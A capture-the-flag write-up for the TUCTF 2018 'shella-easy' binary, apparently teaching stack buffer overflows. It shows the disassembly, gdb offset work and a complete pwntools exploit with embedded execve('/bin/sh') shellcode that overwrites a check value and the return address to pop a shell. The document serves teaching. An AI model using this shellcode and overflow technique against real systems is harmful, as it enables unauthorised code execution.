Tuctf 2018 shella-easy
Let's take a look at the binary:
$ file shella-easy
shella-easy: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-, for GNU/Linux 2.6.32, BuildID[sha1]=38de2077277362023aadd2209673b21577463b66, not stripped
$ ./shella-easy
Yeah I'll have a 0xffd01f50 with a side of fries thanks
15935728
So we can see that we are dealing with a 32 bit binary. When we run it, it prints out what looks like a stack address and prompts us for input. When we take a look at the main function, we see this:
/* WARNING: Function: __x86.get_pc_thunk.bx replaced with injection: get_pc_thunk_bx */
/* WARNING: Removing unreachable block (ram,0x08048551) */
void main(void)
{
char input [64];
setvbuf(stdout,(char *)0x0,2,0x14);
setvbuf(stdin,(char *)0x0,2,0x14);
printf("Yeah I\'ll have a %p with a side of fries thanks\n",input);
gets(input);
/* WARNING: Subroutine does not return */
exit(0);
}
So this is pretty similar to the other challenges in this module. There is a char array input
which can hold 64 bytes, which it prints it's address. After that it runs the function gets
with input
as an argument, allowing us to do a buffer overflow attack and get the return address. With that we can get code execution. Our plan is to just push shellcode onto the stack, and we know where it is thanks to the infoleak. Then we will overwrite the return address to point to the start of our shellcode. We will use shellcode that pops a shell for us when we run it. The shellcode I will use is from http://shell-storm.org/shellcode/files/shellcode-827.php
.
Also there is a slight problem with our plan. That is according to the decompiled code, the function exit
is called. When this function is called, the ret
instruction will not run in the context of this function, so we won't get our code execution. However the decompiled code isn't entirely correct. Looking at the assembly code gives us the full picture:
08048539 e8 52 fe CALL gets char * gets(char * __s)
ff ff
0804853e 83 c4 04 ADD ESP,0x4
08048541 81 7d f8 CMP dword ptr [EBP + local_c],0xdeadbeef
ef be ad de
08048548 74 07 JZ LAB_08048551
0804854a 6a 00 PUSH 0x0
0804854c e8 4f fe CALL exit void exit(int __status)
ff ff
-- Flow Override: CALL_RETURN (CALL_TERMINATOR)
LAB_08048551 XREF[1]: 08048548(j)
08048551 b8 00 00 MOV EAX,0x0
00 00
08048556 8b 5d fc MOV EBX,dword ptr [EBP + local_8]
08048559 c9 LEAVE
0804855a c3 RET
So we can see that there is a check to see if local_c
is equal to 0xdeadbeef
, and if it is the function does not call exit(0)
and we get our code execution. When we look at the stack layout in Ghidra, we see that this variable is within our means to overwrite (and it is at an offset of 0x40
). So we just need to overwrite it with 0xdeadbeef
and we will be good to go:
**************************************************************
* FUNCTION *
**************************************************************
undefined main()
undefined AL:1 <RETURN>
undefined4 Stack[-0x8]:4 local_8 XREF[1]: 08048556(R)
undefined4 Stack[-0xc]:4 local_c XREF[2]: 0804851b(W),
08048541(R)
char[64] Stack[-0x4c] input XREF[2]: 08048522(*),
08048535(*)
Next let's find the offset between the start of our input and the return address in gdb:
gef➤ disas main
Dump of assembler code for function main:
0x080484db <+0>: push ebp
0x080484dc <+1>: mov ebp,esp
0x080484de <+3>: push ebx
0x080484df <+4>: sub esp,0x44
0x080484e2 <+7>: call 0x8048410 <__x86.get_pc_thunk.bx>
0x080484e7 <+12>: add ebx,0x1b19
0x080484ed <+18>: mov eax,DWORD PTR [ebx-0x4]
0x080484f3 <+24>: mov eax,DWORD PTR [eax]
0x080484f5 <+26>: push 0x14
0x080484f7 <+28>: push 0x2
0x080484f9 <+30>: push 0x0
0x080484fb <+32>: push eax
0x080484fc <+33>: call 0x80483c0 <setvbuf@plt>
0x08048501 <+38>: add esp,0x10
0x08048504 <+41>: mov eax,DWORD PTR [ebx-0x8]
0x0804850a <+47>: mov eax,DWORD PTR [eax]
0x0804850c <+49>: push 0x14
0x0804850e <+51>: push 0x2
0x08048510 <+53>: push 0x0
0x08048512 <+55>: push eax
0x08048513 <+56>: call 0x80483c0 <setvbuf@plt>
0x08048518 <+61>: add esp,0x10
0x0804851b <+64>: mov DWORD PTR [ebp-0x8],0xcafebabe
0x08048522 <+71>: lea eax,[ebp-0x48]
0x08048525 <+74>: push eax
0x08048526 <+75>: lea eax,[ebx-0x1a20]
0x0804852c <+81>: push eax
0x0804852d <+82>: call 0x8048380 <printf@plt>
0x08048532 <+87>: add esp,0x8
0x08048535 <+90>: lea eax,[ebp-0x48]
0x08048538 <+93>: push eax
0x08048539 <+94>: call 0x8048390 <gets@plt>
0x0804853e <+99>: add esp,0x4
0x08048541 <+102>: cmp DWORD PTR [ebp-0x8],0xdeadbeef
0x08048548 <+109>: je 0x8048551 <main+118>
0x0804854a <+111>: push 0x0
0x0804854c <+113>: call 0x80483a0 <exit@plt>
0x08048551 <+118>: mov eax,0x0
0x08048556 <+123>: mov ebx,DWORD PTR [ebp-0x4]
0x08048559 <+126>: leave
0x0804855a <+127>: ret
End of assembler dump.
gef➤ b *main+99
Breakpoint 1 at 0x804853e
gef➤ r
Starting program: /Hackery/pod/modules/bof_shellcode/tu18_shellaeasy/shella-easy
Yeah I'll have a 0xffffd020 with a side of fries thanks
15935728
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$eax : 0xffffd020 → "15935728"
$ebx : 0x0804a000 → 0x08049f0c → <_DYNAMIC+0> add DWORD PTR [eax], eax
$ecx : 0xf7faf5c0 → 0xfbad208b
$edx : 0xf7fb089c → 0x00000000
$esp : 0xffffd01c → 0xffffd020 → "15935728"
$ebp : 0xffffd068 → 0x00000000
$esi : 0xf7faf000 → 0x001d7d6c ("l}"?)
$edi : 0x0
$eip : 0x0804853e → <main+99> add esp, 0x4
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0xffffd01c│+0x0000: 0xffffd020 → "15935728" ← $esp
0xffffd020│+0x0004: "15935728"
0xffffd024│+0x0008: "5728"
0xffffd028│+0x000c: 0x00000000
0xffffd02c│+0x0010: 0xf7e0760b → add esp, 0x10
0xffffd030│+0x0014: 0xf7faf3fc → 0xf7fb0200 → 0x00000000
0xffffd034│+0x0018: 0x00000000
0xffffd038│+0x001c: 0x00000000
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
0x8048535 <main+90> lea eax, [ebp-0x48]
0x8048538 <main+93> push eax
0x8048539 <main+94> call 0x8048390 <gets@plt>
→ 0x804853e <main+99> add esp, 0x4
0x8048541 <main+102> cmp DWORD PTR [ebp-0x8], 0xdeadbeef
0x8048548 <main+109> je 0x8048551 <main+118>
0x804854a <main+111> push 0x0
0x804854c <main+113> call 0x80483a0 <exit@plt>
0x8048551 <main+118> mov eax, 0x0
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "shella-easy", stopped, reason: BREAKPOINT
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x804853e → main()
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
Breakpoint 1, 0x0804853e in main ()
gef➤ search-pattern 15935728
[+] Searching '15935728' in memory
[+] In '[stack]'(0xfffdd000-0xffffe000), permission=rwx
0xffffd020 - 0xffffd028 → "15935728"
gef➤ i f
Stack level 0, frame at 0xffffd070:
eip = 0x804853e in main; saved eip = 0xf7defe81
Arglist at 0xffffd068, args:
Locals at 0xffffd068, Previous frame's sp is 0xffffd070
Saved registers:
ebx at 0xffffd064, ebp at 0xffffd068, eip at 0xffffd06c
So we can see that the offset is 0xffffd06c - 0xffffd020 = 0x4c
. With that we have everything we need to make the exploit:
from pwn import *
target = process('./shella-easy')
#gdb.attach(target, gdbscript = 'b *0x804853e')
# Scan in the first line of text, parse out the infoleak
leak = target.recvline()
leak = leak.strip("Yeah I'll have a ")
leak = leak.strip(" with a side of fries thanks\n")
shellcodeAdr = int(leak, 16)
# Make the payload
payload = ""
# This shellcode is from: http://shell-storm.org/shellcode/files/shellcode-827.php`
payload += "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
payload += "0"*(0x40 - len(payload)) # Padding to the local_c variable
payload += p32(0xdeadbeef) # Overwrite the local_c variable with 0xdeadbeef
payload += "1"*8 # Padding to the return address
payload += p32(shellcodeAdr) # Overwrite the return address to point to the start of our shellcode
# Send the payload
target.sendline(payload)
target.interactive()
When we run the exploit:
$ python exploit.py
[+] Starting local process './shella-easy': pid 6434
[*] Switching to interactive mode
$ w
21:46:23 up 4:33, 1 user, load average: 0.03, 0.08, 0.08
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
guyinatu tty7 :0 17:14 4:33m 1:21 0.18s /sbin/upstart --user
$ ls
exploit.py readme.md shella-easy
$
Just like that we popped a shell. Also one more thing I want to show, the shellcode we push on the stack can be disassembled to assembly instructions. Let's break right at the ret
instruction which executes our shellcode (I did this by editing the breakpoint in the exploit to 0x0804855a
, then running it):
Breakpoint 1, 0x0804855a in main ()
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────── registers ────
$eax : 0x0
$ebx : 0x31313131 ("1111"?)
$ecx : 0xf7f475a0 → 0xfbad208b
$edx : 0xf7f4887c → 0x00000000
$esp : 0xfff4cb1c → 0xfff4cad0 → 0x6850c031
$ebp : 0x31313131 ("1111"?)
$esi : 0xf7f47000 → 0x001b1db0
$edi : 0xf7f47000 → 0x001b1db0
$eip : 0x0804855a → <main+127> ret
$eflags: [carry PARITY adjust ZERO sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
───────────────────────────────────────────────────────────────────── stack ────
0xfff4cb1c│+0x0000: 0xfff4cad0 → 0x6850c031 ← $esp
0xfff4cb20│+0x0004: 0x00000000
0xfff4cb24│+0x0008: 0xfff4cbb4 → 0xfff4e297 → "./shella-easy"
0xfff4cb28│+0x000c: 0xfff4cbbc → 0xfff4e2a5 → "QT_QPA_PLATFORMTHEME=appmenu-qt5"
0xfff4cb2c│+0x0010: 0x00000000
0xfff4cb30│+0x0014: 0x00000000
0xfff4cb34│+0x0018: 0x00000000
0xfff4cb38│+0x001c: 0xf7f47000 → 0x001b1db0
─────────────────────────────────────────────────────────────── code:x86:32 ────
0x8048551 <main+118> mov eax, 0x0
0x8048556 <main+123> mov ebx, DWORD PTR [ebp-0x4]
0x8048559 <main+126> leave
→ 0x804855a <main+127> ret
↳ 0xfff4cad0 xor eax, eax
0xfff4cad2 push eax
0xfff4cad3 push 0x68732f2f
0xfff4cad8 push 0x6e69622f
0xfff4cadd mov ebx, esp
0xfff4cadf push eax
─────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "shella-easy", stopped, reason: BREAKPOINT
───────────────────────────────────────────────────────────────────── trace ────
[#0] 0x804855a → main()
────────────────────────────────────────────────────────────────────────────────
gef➤ s
0xfff4cad0 in ?? ()
[ Legend: Modified register | Code | Heap | Stack | String ]
────────────────────────────────────────────────────────────────────────────────── registers ────
$eax : 0x0
$ebx : 0x31313131 ("1111"?)
$ecx : 0xf7f475a0 → 0xfbad208b
$edx : 0xf7f4887c → 0x00000000
$esp : 0xfff4cb20 → 0x00000000
$ebp : 0x31313131 ("1111"?)
$esi : 0xf7f47000 → 0x001b1db0
$edi : 0xf7f47000 → 0x001b1db0
$eip : 0xfff4cad0 → 0x6850c031
$eflags: [carry PARITY adjust ZERO sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
────────────────────────────────────────────────────────────────────────────────────── stack ────
0xfff4cb20│+0x0000: 0x00000000 ← $esp
0xfff4cb24│+0x0004: 0xfff4cbb4 → 0xfff4e297 → "./shella-easy"
0xfff4cb28│+0x0008: 0xfff4cbbc → 0xfff4e2a5 → "QT_QPA_PLATFORMTHEME=appmenu-qt5"
0xfff4cb2c│+0x000c: 0x00000000
0xfff4cb30│+0x0010: 0x00000000
0xfff4cb34│+0x0014: 0x00000000
0xfff4cb38│+0x0018: 0xf7f47000 → 0x001b1db0
0xfff4cb3c│+0x001c: 0xf7f8ec04 → 0x00000000
──────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
→ 0xfff4cad0 xor eax, eax
0xfff4cad2 push eax
0xfff4cad3 push 0x68732f2f
0xfff4cad8 push 0x6e69622f
0xfff4cadd mov ebx, esp
0xfff4cadf push eax
──────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "shella-easy", stopped, reason: SINGLE STEP
────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0xfff4cad0 → xor eax, eax
─────────────────────────────────────────────────────────────────────────────────────────────────
gef➤ x/10i 0xfff4cad0
=> 0xfff4cad0: xor eax,eax
0xfff4cad2: push eax
0xfff4cad3: push 0x68732f2f
0xfff4cad8: push 0x6e69622f
0xfff4cadd: mov ebx,esp
0xfff4cadf: push eax
0xfff4cae0: push ebx
0xfff4cae1: mov ecx,esp
0xfff4cae3: mov al,0xb
0xfff4cae5: int 0x80
There we can see our shellcode.